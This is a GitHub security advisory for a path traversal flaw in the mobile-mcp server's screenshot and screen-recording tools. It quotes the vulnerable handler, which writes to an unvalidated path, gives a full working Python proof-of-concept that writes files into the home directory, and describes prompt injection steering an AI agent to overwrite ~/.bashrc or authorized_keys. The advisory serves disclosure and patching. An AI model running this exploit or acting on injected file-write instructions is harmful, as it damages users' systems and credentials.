GHSA-3P2M-H2V6-G9MX

Vulnerability from github – Published: 2026-03-27 19:13 – Updated: 2026-03-30 20:18
VLAI
Summary
@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools
Details

Summary

The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.

Details

File: src/server.ts (lines 584-592)

tool(
    "mobile_save_screenshot",
    "Save Screenshot",
    "Save a screenshot of the mobile device to a file",
    {
        device: z.string().describe("The device identifier..."),
        saveTo: z.string().describe("The path to save the screenshot to"),
    },
    { destructiveHint: true },
    async ({ device, saveTo }) => {
        const robot = getRobotFromDevice(device);
        const screenshot = await robot.getScreenshot();
        fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
        return `Screenshot saved to: ${saveTo}`;
    },
);

Root Cause

The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.

Additional Affected Tool

File: src/server.ts (lines 597-620)

The mobile_start_screen_recording tool has the same vulnerability in its output parameter.

PoC

#!/usr/bin/env python3

import json
import os
import subprocess
import sys
import time
from datetime import datetime

SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5


def log(level, msg):
    print(f"[{level.upper()}] {msg}")


def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
    """Send JSON-RPC message and receive response."""
    try:
        proc.stdin.write(json.dumps(msg) + "\n")
        proc.stdin.flush()
        time.sleep(timeout)
        line = proc.stdout.readline()
        return json.loads(line) if line else None
    except Exception as e:
        log("error", f"Communication error: {e}")
        return None


def send_notification(proc, method, params=None):
    """Send JSON-RPC notification (no response expected)."""
    msg = {"jsonrpc": "2.0", "method": method}
    if params:
        msg["params"] = params
    proc.stdin.write(json.dumps(msg) + "\n")
    proc.stdin.flush()


def start_server():
    """Start the mobile-mcp server."""
    log("info", "Starting mobile-mcp server...")

    try:
        proc = subprocess.Popen(
            SERVER_CMD,
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )
        time.sleep(STARTUP_DELAY)

        if proc.poll() is not None:
            stderr = proc.stderr.read()
            log("error", f"Server failed to start: {stderr[:200]}")
            return None

        log("info", f"Server started (PID: {proc.pid})")
        return proc

    except FileNotFoundError:
        log("error", "npx not found. Please install Node.js")
        return None


def initialize_session(proc):
    """Initialize MCP session with handshake."""
    log("info", "Initializing MCP session...")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
            },
        },
    )

    if not resp or "error" in resp:
        log("error", f"Initialize failed: {resp}")
        return False

    send_notification(proc, "notifications/initialized")
    time.sleep(0.5)

    server_info = resp.get("result", {}).get("serverInfo", {})
    log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
    return True


def get_devices(proc):
    """Get list of connected devices."""
    log("info", "Enumerating connected devices...")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 2,
            "method": "tools/call",
            "params": {"name": "mobile_list_available_devices", "arguments": {}},
        },
    )

    if resp:
        content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
        try:
            devices = json.loads(content).get("devices", [])
            return devices
        except:
            log("warning", f"Could not parse device list: {content[:100]}")

    return []


def exploit_path_traversal(proc, device_id, target_path):
    """Execute path traversal exploit."""
    log("info", f"Target path: {target_path}")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 100,
            "method": "tools/call",
            "params": {
                "name": "mobile_save_screenshot",
                "arguments": {"device": device_id, "saveTo": target_path},
            },
        },
        timeout=2,
    )

    if resp:
        content = resp.get("result", {}).get("content", [{}])
        if isinstance(content, list) and content:
            text = content[0].get("text", "")
            log("info", f"Server response: {text[:100]}")

            check_path = target_path
            if target_path.startswith(".."):
                check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))

            if os.path.exists(check_path):
                size = os.path.getsize(check_path)
                log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
                return True, check_path, size
            elif "Screenshot saved" in text:
                log("info", f"Server confirmed write (file may be at relative path)")
                return True, target_path, 0

    log("warning", "Exploit may have failed or file not accessible")
    return False, target_path, 0


def main():
    device_id = sys.argv[1] if len(sys.argv) > 1 else None

    proc = start_server()
    if not proc:
        sys.exit(1)

    try:
        if not initialize_session(proc):
            sys.exit(1)

        if not device_id:
            devices = get_devices(proc)
            if devices:
                log("info", f"Found {len(devices)} device(s):")
                for d in devices:
                    print(f"  - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
                device_id = devices[0].get("id")
                log("info", f"Using device: {device_id}")
            else:
                log("error", "No devices found. Please connect a device and try again.")
                log("info", "Usage: python3 exploit.py <device_id>")
                sys.exit(1)

        home = os.path.expanduser("~")

        exploits = [
            "../../exploit_2_traversal.png",
            f"{home}/exploit.png",
            f"{home}/.poc_dotfile",
        ]

        results = []
        for target in exploits:
            success, path, size = exploit_path_traversal(proc, device_id, target)
            results.append((target, success, path, size))

    finally:
        proc.terminate()
        log("info", "Server terminated.")


if __name__ == "__main__":
    main()

Impact

A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mobilenext/mobile-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.49"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T19:13:17Z",
    "nvd_published_at": "2026-03-27T22:16:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.\n\n### Details\n**File:** `src/server.ts` (lines 584-592)\n\n```typescript\ntool(\n    \"mobile_save_screenshot\",\n    \"Save Screenshot\",\n    \"Save a screenshot of the mobile device to a file\",\n    {\n        device: z.string().describe(\"The device identifier...\"),\n        saveTo: z.string().describe(\"The path to save the screenshot to\"),\n    },\n    { destructiveHint: true },\n    async ({ device, saveTo }) =\u003e {\n        const robot = getRobotFromDevice(device);\n        const screenshot = await robot.getScreenshot();\n        fs.writeFileSync(saveTo, screenshot); // \u2190 VULNERABLE: No path validation\n        return `Screenshot saved to: ${saveTo}`;\n    },\n);\n```\n\n### Root Cause\n\nThe `saveTo` parameter is passed directly to `fs.writeFileSync()` without any validation. The codebase has validation functions for other parameters (`validatePackageName`, `validateLocale` in `src/utils.ts`) but **no path validation function exists**.\n\n### Additional Affected Tool\n\n**File:** `src/server.ts` (lines 597-620)\n\nThe `mobile_start_screen_recording` tool has the same vulnerability in its `output` parameter.\n\n### PoC\n```py\n#!/usr/bin/env python3\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nfrom datetime import datetime\n\nSERVER_CMD = [\"npx\", \"-y\", \"@mobilenext/mobile-mcp@latest\"]\nSTARTUP_DELAY = 4\nREQUEST_DELAY = 0.5\n\n\ndef log(level, msg):\n    print(f\"[{level.upper()}] {msg}\")\n\n\ndef send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):\n    \"\"\"Send JSON-RPC message and receive response.\"\"\"\n    try:\n        proc.stdin.write(json.dumps(msg) + \"\\n\")\n        proc.stdin.flush()\n        time.sleep(timeout)\n        line = proc.stdout.readline()\n        return json.loads(line) if line else None\n    except Exception as e:\n        log(\"error\", f\"Communication error: {e}\")\n        return None\n\n\ndef send_notification(proc, method, params=None):\n    \"\"\"Send JSON-RPC notification (no response expected).\"\"\"\n    msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n    if params:\n        msg[\"params\"] = params\n    proc.stdin.write(json.dumps(msg) + \"\\n\")\n    proc.stdin.flush()\n\n\ndef start_server():\n    \"\"\"Start the mobile-mcp server.\"\"\"\n    log(\"info\", \"Starting mobile-mcp server...\")\n\n    try:\n        proc = subprocess.Popen(\n            SERVER_CMD,\n            stdin=subprocess.PIPE,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            text=True,\n        )\n        time.sleep(STARTUP_DELAY)\n\n        if proc.poll() is not None:\n            stderr = proc.stderr.read()\n            log(\"error\", f\"Server failed to start: {stderr[:200]}\")\n            return None\n\n        log(\"info\", f\"Server started (PID: {proc.pid})\")\n        return proc\n\n    except FileNotFoundError:\n        log(\"error\", \"npx not found. Please install Node.js\")\n        return None\n\n\ndef initialize_session(proc):\n    \"\"\"Initialize MCP session with handshake.\"\"\"\n    log(\"info\", \"Initializing MCP session...\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"mcpsec-exploit\", \"version\": \"1.0\"},\n            },\n        },\n    )\n\n    if not resp or \"error\" in resp:\n        log(\"error\", f\"Initialize failed: {resp}\")\n        return False\n\n    send_notification(proc, \"notifications/initialized\")\n    time.sleep(0.5)\n\n    server_info = resp.get(\"result\", {}).get(\"serverInfo\", {})\n    log(\"info\", f\"Session initialized - Server: {server_info.get(\u0027name\u0027)} v{server_info.get(\u0027version\u0027)}\")\n    return True\n\n\ndef get_devices(proc):\n    \"\"\"Get list of connected devices.\"\"\"\n    log(\"info\", \"Enumerating connected devices...\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 2,\n            \"method\": \"tools/call\",\n            \"params\": {\"name\": \"mobile_list_available_devices\", \"arguments\": {}},\n        },\n    )\n\n    if resp:\n        content = resp.get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\", \"\")\n        try:\n            devices = json.loads(content).get(\"devices\", [])\n            return devices\n        except:\n            log(\"warning\", f\"Could not parse device list: {content[:100]}\")\n\n    return []\n\n\ndef exploit_path_traversal(proc, device_id, target_path):\n    \"\"\"Execute path traversal exploit.\"\"\"\n    log(\"info\", f\"Target path: {target_path}\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 100,\n            \"method\": \"tools/call\",\n            \"params\": {\n                \"name\": \"mobile_save_screenshot\",\n                \"arguments\": {\"device\": device_id, \"saveTo\": target_path},\n            },\n        },\n        timeout=2,\n    )\n\n    if resp:\n        content = resp.get(\"result\", {}).get(\"content\", [{}])\n        if isinstance(content, list) and content:\n            text = content[0].get(\"text\", \"\")\n            log(\"info\", f\"Server response: {text[:100]}\")\n\n            check_path = target_path\n            if target_path.startswith(\"..\"):\n                check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))\n\n            if os.path.exists(check_path):\n                size = os.path.getsize(check_path)\n                log(\"info\", f\"FILE WRITTEN: {check_path} ({size} bytes)\")\n                return True, check_path, size\n            elif \"Screenshot saved\" in text:\n                log(\"info\", f\"Server confirmed write (file may be at relative path)\")\n                return True, target_path, 0\n\n    log(\"warning\", \"Exploit may have failed or file not accessible\")\n    return False, target_path, 0\n\n\ndef main():\n    device_id = sys.argv[1] if len(sys.argv) \u003e 1 else None\n\n    proc = start_server()\n    if not proc:\n        sys.exit(1)\n\n    try:\n        if not initialize_session(proc):\n            sys.exit(1)\n\n        if not device_id:\n            devices = get_devices(proc)\n            if devices:\n                log(\"info\", f\"Found {len(devices)} device(s):\")\n                for d in devices:\n                    print(f\"  - {d.get(\u0027id\u0027)} - {d.get(\u0027name\u0027)} ({d.get(\u0027platform\u0027)}, {d.get(\u0027state\u0027)})\")\n                device_id = devices[0].get(\"id\")\n                log(\"info\", f\"Using device: {device_id}\")\n            else:\n                log(\"error\", \"No devices found. Please connect a device and try again.\")\n                log(\"info\", \"Usage: python3 exploit.py \u003cdevice_id\u003e\")\n                sys.exit(1)\n\n        home = os.path.expanduser(\"~\")\n\n        exploits = [\n            \"../../exploit_2_traversal.png\",\n            f\"{home}/exploit.png\",\n            f\"{home}/.poc_dotfile\",\n        ]\n\n        results = []\n        for target in exploits:\n            success, path, size = exploit_path_traversal(proc, device_id, target)\n            results.append((target, success, path, size))\n\n    finally:\n        proc.terminate()\n        log(\"info\", \"Server terminated.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nA Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., `~/.bashrc`, `~/.ssh/authorized_keys`, or `.config` files) leading to a broken shell.",
  "id": "GHSA-3p2m-h2v6-g9mx",
  "modified": "2026-03-30T20:18:39Z",
  "published": "2026-03-27T19:13:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33989"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mobile-next/mobile-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools"
}



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